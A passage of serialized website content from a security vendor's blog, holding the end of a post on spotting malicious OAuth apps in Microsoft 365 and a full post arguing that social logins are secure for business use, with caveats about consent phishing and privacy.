apps installed before this date will report as unverified. For reference, 78% of the service principals we’ve looked at report as having unverified publishers so this isn’t ",{"data":212495,"marks":212496,"value":212498,"nodeType":865},{},[212497],{"type":898},"necessarily",{"data":212500,"marks":212501,"value":212502,"nodeType":865},{},[]," something to worry about. ",{"data":212504,"content":212505,"nodeType":972},{},[],{"data":212507,"content":212508,"nodeType":866},{},[212509,212513,212520],{"data":212510,"marks":212511,"value":212512,"nodeType":865},{},[],"If you find apps that look like they don't belong and you're worried they're the result of consent phishing, as well as removing the app's access (you can do this on the app's Properties page in the ",{"data":212514,"content":212516,"nodeType":889},{"uri":212515},"https://aad.portal.azure.com/#blade/Microsoft_AAD_IAM/StartboardApplicationsMenuBlade/AllApps",[212517],{"data":212518,"marks":212519,"value":212295,"nodeType":865},{},[],{"data":212521,"marks":212522,"value":212523,"nodeType":865},{},[],"), you should investigate how the app got there in the first place. A detailed walkthrough of how to fully investigate is coming soon.",{"data":212525,"content":212526,"nodeType":866},{},[212527,212531,212538],{"data":212528,"marks":212529,"value":212530,"nodeType":865},{},[],"You can gather information about the apps in your Microsoft 365 tenant with only a few clicks using the Push platform. See which apps are installed on your tenant, what kind of access they have and if we think any look suspicious. It only takes a few minutes and is totally free! ",{"data":212532,"content":212533,"nodeType":889},{"uri":205352},[212534],{"data":212535,"marks":212536,"value":212537,"nodeType":865},{},[],"Check it out.",{"data":212539,"marks":212540,"value":21,"nodeType":865},{},[],"How to find a malicious OAuth app on Microsoft 365 ","How do you find a malicious Microsoft 365 OAuth app? Learn what to look for, and what to ignore, when checking your users haven't been consent phished.","2021-09-06T00:00:00.000+01:00","how-to-find-a-malicious-oauth-app-on-microsoft-365",{"items":212546},[212547,212549],{"sys":212548,"name":297},{"id":2310},{"sys":212550,"name":342},{"id":4642},{"items":212552},[212553],{"fullName":197438,"firstName":197439,"jobTitle":197440,"profilePicture":212554},{"url":197442},{"__typename":1429,"sys":212556,"content":212557,"title":212021,"synopsis":212925,"hashTags":59,"publishedDate":212926,"slug":212022,"tagsCollection":212927,"authorsCollection":212933},{"id":211373},{"json":212558},{"data":212559,"content":212560,"nodeType":1382},{},[212561,212568,212575,212581,212588,212594,212601,212608,212615,212622,212629,212635,212642,212649,212656,212674,212692,212710,212739,212765,212783,212790,212797,212804,212811,212818,212825,212843,212873,212880,212898,212905,212912,212918],{"data":212562,"content":212563,"nodeType":866},{},[212564],{"data":212565,"marks":212566,"value":212567,"nodeType":865},{},[],"We have all seen the option on websites to login using a variety of different tech giant accounts (“Login with Google, Login with Microsoft”), instead of creating a new account or using username and password. This is known as a social login and, less often, social sign-in or social sign-on. ",{"data":212569,"content":212570,"nodeType":866},{},[212571],{"data":212572,"marks":212573,"value":212574,"nodeType":865},{},[],"Normally, this is more associated with personal use than business use, but it’s just as possible for employees to log into a SaaS platform using a business Google Workspace account - but should we be encouraging or discouraging this behavior? We’ll answer that question in this article but, spoiler alert, at Push Security we encourage it in most cases and we’ll explain why in this article. ",{"data":212576,"content":212580,"nodeType":912},{"target":212577},{"sys":212578},{"id":212579,"type":909,"linkType":910},"47o2DQc4uabGwXXN85HBUG",[],{"data":212582,"content":212583,"nodeType":866},{},[212584],{"data":212585,"marks":212586,"value":212587,"nodeType":865},{},[],"We've created a quick and dirty video demo of a social login to help explain the concept: ",{"data":212589,"content":212593,"nodeType":912},{"target":212590},{"sys":212591},{"id":212592,"type":909,"linkType":910},"2rIwQIeOZ9cZY47vUrYkf3",[],{"data":212595,"content":212596,"nodeType":1317},{},[212597],{"data":212598,"marks":212599,"value":212600,"nodeType":865},{},[],"What is a social login?",{"data":212602,"content":212603,"nodeType":866},{},[212604],{"data":212605,"marks":212606,"value":212607,"nodeType":865},{},[],"So what actually happens when you click to login with Google? Aren’t you just giving your Google password to some random website? That’s a security concern many people have but, thankfully, that isn’t the case. ",{"data":212609,"content":212610,"nodeType":866},{},[212611],{"data":212612,"marks":212613,"value":212614,"nodeType":865},{},[],"Social logins actually work using OAuth 2.0, which stands for “Open Authorization.” It’s a standard to allow third-party apps to access your data. OAuth is actually for a much broader set of use cases than just social logins, but that’s for another article. ",{"data":212616,"content":212617,"nodeType":866},{},[212618],{"data":212619,"marks":212620,"value":212621,"nodeType":865},{},[],"Let’s focus on what happens when you click to sign-in with Google. You’re actually redirected to Google’s own servers and asked to authorize the website to be granted any access to your data that it has requested. In a simple social login case, the website should only be asking for minimal access to view simple details, such as your email address and full name in order to verify your identity.",{"data":212623,"content":212624,"nodeType":866},{},[212625],{"data":212626,"marks":212627,"value":212628,"nodeType":865},{},[],"If this is the case, Google does not even specifically ask you to accept those permissions, it just verifies which Google account you would like to use. If you are already logged in with Google then you won’t even need to enter your password.",{"data":212630,"content":212634,"nodeType":912},{"target":212631},{"sys":212632},{"id":212633,"type":909,"linkType":910},"2PbJH7qfRYIxJRBmHJLSdI",[],{"data":212636,"content":212637,"nodeType":866},{},[212638],{"data":212639,"marks":212640,"value":212641,"nodeType":865},{},[],"…and that’s it, you’ve just socially logged in to a website using your Google account. You didn’t need to create an account, set a password, use a password manager or even enter your Google password. It was so easy! But is it secure?",{"data":212643,"content":212644,"nodeType":981},{},[212645],{"data":212646,"marks":212647,"value":212648,"nodeType":865},{},[],"Security Benefits",{"data":212650,"content":212651,"nodeType":866},{},[212652],{"data":212653,"marks":212654,"value":212655,"nodeType":865},{},[],"The short answer is - yes, it is secure, and there are actually many security benefits. Let’s consider some of them:",{"data":212657,"content":212658,"nodeType":1616},{},[212659],{"data":212660,"content":212661,"nodeType":1570},{},[212662],{"data":212663,"content":212664,"nodeType":866},{},[212665,212670],{"data":212666,"marks":212667,"value":212669,"nodeType":865},{},[212668],{"type":926},"Multi-Factor authentication (MFA) everywhere!",{"data":212671,"marks":212672,"value":212673,"nodeType":865},{},[]," - You’ve followed good security practice and enabled MFA for all of your Google accounts, right? Great, well then every other SaaS platform that your employees use social logins just inherited MFA protection for free! Not only does the platform not even need to support MFA on its own (most don’t), but you don't even need to set it up!",{"data":212675,"content":212676,"nodeType":1616},{},[212677],{"data":212678,"content":212679,"nodeType":1570},{},[212680],{"data":212681,"content":212682,"nodeType":866},{},[212683,212688],{"data":212684,"marks":212685,"value":212687,"nodeType":865},{},[212686],{"type":926},"Easy password resets",{"data":212689,"marks":212690,"value":212691,"nodeType":865},{},[]," - Ok, so one of your employees gets their (commonly shared) password phished. All those SaaS accounts could be immediately compromised and how many password resets now need to be performed? Oh, they use a password manager? Ok, what if their laptop is compromised with malware? You need to assume the password manager is compromised too. That’s still a lot of password resets. On the other hand, if you use social logins for everything you only have one password to change. If you have MFA too, it probably would have been tough for the attacker to make use of that password during the compromise window before the change, too.",{"data":212693,"content":212694,"nodeType":1616},{},[212695],{"data":212696,"content":212697,"nodeType":1570},{},[212698],{"data":212699,"content":212700,"nodeType":866},{},[212701,212706],{"data":212702,"marks":212703,"value":212705,"nodeType":865},{},[212704],{"type":926},"Easy offboarding -",{"data":212707,"marks":212708,"value":212709,"nodeType":865},{},[]," When an employee leaves the company, it’s not so hard to delete their core business accounts, but it’s much more painful to have a process for removing all old SaaS accounts too. If social logins are well implemented by the SaaS provider then the removal of a Google workspace account automatically means the corresponding SaaS accounts are no longer accessible either.  ",{"data":212711,"content":212712,"nodeType":1616},{},[212713],{"data":212714,"content":212715,"nodeType":1570},{},[212716],{"data":212717,"content":212718,"nodeType":866},{},[212719,212724,212728,212736],{"data":212720,"marks":212721,"value":212723,"nodeType":865},{},[212722],{"type":926},"Visibility",{"data":212725,"marks":212726,"value":212727,"nodeType":865},{},[]," - If employees use custom logins for all their SaaS platforms, you’ll have no idea what SaaS platforms are in use (unless you use the Push browser extension ;)). With social logins, you can see exactly which platforms your employees are using across the organization. (",{"data":212729,"content":212731,"nodeType":889},{"uri":212730},"https://support.google.com/a/answer/7281227?hl=en#zippy=",[212732],{"data":212733,"marks":212734,"value":212730,"nodeType":865},{},[212735],{"type":943},{"data":212737,"marks":212738,"value":167267,"nodeType":865},{},[],{"data":212740,"content":212741,"nodeType":1616},{},[212742],{"data":212743,"content":212744,"nodeType":1570},{},[212745],{"data":212746,"content":212747,"nodeType":866},{},[212748,212753,212757,212762],{"data":212749,"marks":212750,"value":212752,"nodeType":865},{},[212751],{"type":926},"Simplicity ",{"data":212754,"marks":212755,"value":212756,"nodeType":865},{},[],"- Complexity is often the enemy of security and, let’s face it, getting all your employees to use password managers with different passwords for large numbers of accounts, creating new accounts every time, handling password changes for all of them, etc., is the definition of complexity. On the other hand, social logins are just so simple. You login to Google once, then any other SaaS platform you want to access that supports them you just click “login with Google”, select your account and you’re done. That’s it - ",{"data":212758,"marks":212759,"value":212761,"nodeType":865},{},[212760],{"type":926},"simplicity benefits security",{"data":212763,"marks":212764,"value":14251,"nodeType":865},{},[],{"data":212766,"content":212767,"nodeType":1616},{},[212768],{"data":212769,"content":212770,"nodeType":1570},{},[212771],{"data":212772,"content":212773,"nodeType":866},{},[212774,212779],{"data":212775,"marks":212776,"value":212778,"nodeType":865},{},[212777],{"type":926},"No shared passwords ",{"data":212780,"marks":212781,"value":212782,"nodeType":865},{},[],"- Let’s face it, it’s difficult to get employees to use password managers for everything and commonly people end up using the same one or two passwords for everything. Then all it takes is for any one platform to be compromised and that account is compromised for any other platforms where the password is shared. Therefore, your security is dependent on the security of the weakest platform you use of many. On the other hand, if you use social logins for everything, there is only ever one strongly protected account, which is much less likely to be compromised.",{"data":212784,"content":212785,"nodeType":866},{},[212786],{"data":212787,"marks":212788,"value":212789,"nodeType":865},{},[],"Our view is that it’s better to have one account that you put all your focus on securing as best as possible than many accounts that individually have a lower level of security. ",{"data":212791,"content":212792,"nodeType":866},{},[212793],{"data":212794,"marks":212795,"value":212796,"nodeType":865},{},[],"But why would I want everything in one account, protected with one password?If your Google account is used to access everything then all your eggs are in one basket right? If your Google account is compromised, or even Google themselves are compromised, then everything else you use is compromised too. Pretty concerning, right? This is true and it does remain a risk. ",{"data":212798,"content":212799,"nodeType":866},{},[212800],{"data":212801,"marks":212802,"value":212803,"nodeType":865},{},[],"However, if you’re a Google Workspace user then you’re trusting Google with most of your key data anyway - all your email, documents, calendar appointments etc are stored with Google and accessed using Google accounts. Also, if your Google email gets hacked that can generally be used to password reset all your other accounts anyway! Plus, using a password manager could be argued to also be putting all your eggs in one basket too.",{"data":212805,"content":212806,"nodeType":866},{},[212807],{"data":212808,"marks":212809,"value":212810,"nodeType":865},{},[],"We’ll go into some of the potential concerns of using social logins in this next section because there may be some valid use cases where you won’t want to use them.",{"data":212812,"content":212813,"nodeType":981},{},[212814],{"data":212815,"marks":212816,"value":212817,"nodeType":865},{},[],"Security Caveats",{"data":212819,"content":212820,"nodeType":866},{},[212821],{"data":212822,"marks":212823,"value":212824,"nodeType":865},{},[],"Ok, we said at Push Security that we encourage the use of social logins. But we aren’t going to wave our hands and cover up any downsides - as always, there are always some. We consider some of the following to be key drawbacks:",{"data":212826,"content":212827,"nodeType":1616},{},[212828],{"data":212829,"content":212830,"nodeType":1570},{},[212831],{"data":212832,"content":212833,"nodeType":866},{},[212834,212839],{"data":212835,"marks":212836,"value":212838,"nodeType":865},{},[212837],{"type":926},"Giving away sensitive data",{"data":212840,"marks":212841,"value":212842,"nodeType":865},{},[]," - This article has been entirely focused on social logins, but we said at the start that OAuth was for more than that. When a user logs in using Google, the website can ask for permissions far beyond what is needed for a simple social login. These can be sensitive, such as allowing access to emails, calendars, Google Drive documents etc and the user will be prompted separately to accept or refuse this. In most cases, you’ll probably find websites do not request additional permissions for a simple login/signup but may do if you enable more advanced integrations. However, some websites may just ask for the kitchen sink from the first login. It’s possible your employees may then start giving away sensitive access to third parties without a second thought.",{"data":212844,"content":212845,"nodeType":866},{},[212846,212850,212859,212863,212870],{"data":212847,"marks":212848,"value":212849,"nodeType":865},{},[],"There are also malicious apps created simply to exploit permissions so they can gain access to an employee’s or company’s data by requesting excessive permissions and requesting the employee to opt into them by default. This is called consent phishing and we’ve written up a ",{"data":212851,"content":212854,"nodeType":33606},{"target":212852},{"sys":212853},{"id":203182,"type":909,"linkType":910},[212855],{"data":212856,"marks":212857,"value":212858,"nodeType":865},{},[],"quick guide",{"data":212860,"marks":212861,"value":212862,"nodeType":865},{},[]," here about what the risk is, how it works, and how to handle it. ",{"data":212864,"content":212865,"nodeType":889},{"uri":211725},[212866],{"data":212867,"marks":212868,"value":21,"nodeType":865},{},[212869],{"type":943},{"data":212871,"marks":212872,"value":21,"nodeType":865},{},[],{"data":212874,"content":212875,"nodeType":866},{},[212876],{"data":212877,"marks":212878,"value":212879,"nodeType":865},{},[],"You can always see what access has been given by your employees to different platforms and review accordingly and you can even configure more sensitive permissions as restricted so your employees can’t accept them on their own. However, this risk remains, whereas it’s not as easy for an employee to inadvertently open up significant data access with a custom login for a website.   ",{"data":212881,"content":212882,"nodeType":1616},{},[212883],{"data":212884,"content":212885,"nodeType":1570},{},[212886],{"data":212887,"content":212888,"nodeType":866},{},[212889,212894],{"data":212890,"marks":212891,"value":212893,"nodeType":865},{},[212892],{"type":926},"Privacy and Anonymity",{"data":212895,"marks":212896,"value":212897,"nodeType":865},{},[]," - if you use social logins for everything, then every SaaS platform your employees use will have at least some access to basic personal information for your employees that use them. Google will also probably have more information about what SaaS providers you are using than they would otherwise, too. ",{"data":212899,"content":212900,"nodeType":866},{},[212901],{"data":212902,"marks":212903,"value":212904,"nodeType":865},{},[],"Maybe you just wanted to try out a new SaaS service without getting spammed by their sales team for the next 12 months? For that, you might want to go with an anonymous, disposable email address. Whatever the case, social logins will always give away basic personal details at a minimum and there might be times where this isn’t desirable. But for most companies, we’ve found those to be edge cases.",{"data":212906,"content":212907,"nodeType":866},{},[212908],{"data":212909,"marks":212910,"value":212911,"nodeType":865},{},[],"You may not necessarily want the public (or your adversaries) to know what SaaS apps employees are using. If an attacker gained access to your Google or Microsoft account that you were using for social login, they would be able to see the apps that are accessed with social login. On the other hand, if an attacker gets access to your primary core business platforms, this is likely going to be the least of your concerns.",{"data":212913,"content":212914,"nodeType":981},{},[212915],{"data":212916,"marks":212917,"value":57175,"nodeType":865},{},[],{"data":212919,"content":212920,"nodeType":866},{},[212921],{"data":212922,"marks":212923,"value":212924,"nodeType":865},{},[],"Social logins are good for business use for third-party SaaS platforms, not just for personal use. They save time and bring many security benefits in most cases too. As long as you understand the residual risks that remain and are happy managing those risks, you should consider encouraging your users to use social logins. ","Is logging in with Google or Microsoft secure? Yes, with caveats. ","2022-10-04T00:00:00.000Z",{"items":212928},[212929,212931],{"sys":212930,"name":2314},{"id":2313},{"sys":212932,"name":297},{"id":2310},{"items":212934},[212935],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":212936},{"url":11425},"blog/is-it-safe-to-allow-my-employees-to-connect-third-party-apps-to-our-m365",{"json":212939},{"data":212940,"content":212941,"nodeType":1382},{},[212942],{"data":212943,"content":212944,"nodeType":866},{},[212945],{"data":212946,"marks":212947,"value":212948,"nodeType":865},{},[],"Learn about the benefits and risks of SaaS integrations and get tips for how to manage the risks.\n",{"id":203251,"publishedAt":212950},"2026-08-12T11:56:37.246Z",{"items":212952},[212953,212955],{"sys":212954,"name":2314},{"id":2313},{"sys":212956,"name":297},{"id":2310},{"items":212958},[212959,212961,212963,212965,212967,212969,212971,212973],{"sys":212960,"name":545,"slug":546,"tier":31},{"id":542},{"sys":212962,"name":413,"slug":414,"tier":31},{"id":410},{"sys":212964,"name":484,"slug":485,"tier":45},{"id":481},{"sys":212966,"name":633,"slug":634,"tier":45},{"id":630},{"sys":212968,"name":589,"slug":590,"tier":45},{"id":586},{"sys":212970,"name":571,"slug":572,"tier":45},{"id":568},{"sys":212972,"name":457,"slug":458,"tier":45},{"id":454},{"sys":212974,"name":502,"slug":503,"tier":45},{"id":499},"ydTwQKcwIHCCk9-oJA4US0Letg72cR-sUaEy8GvqouM",1787040111143]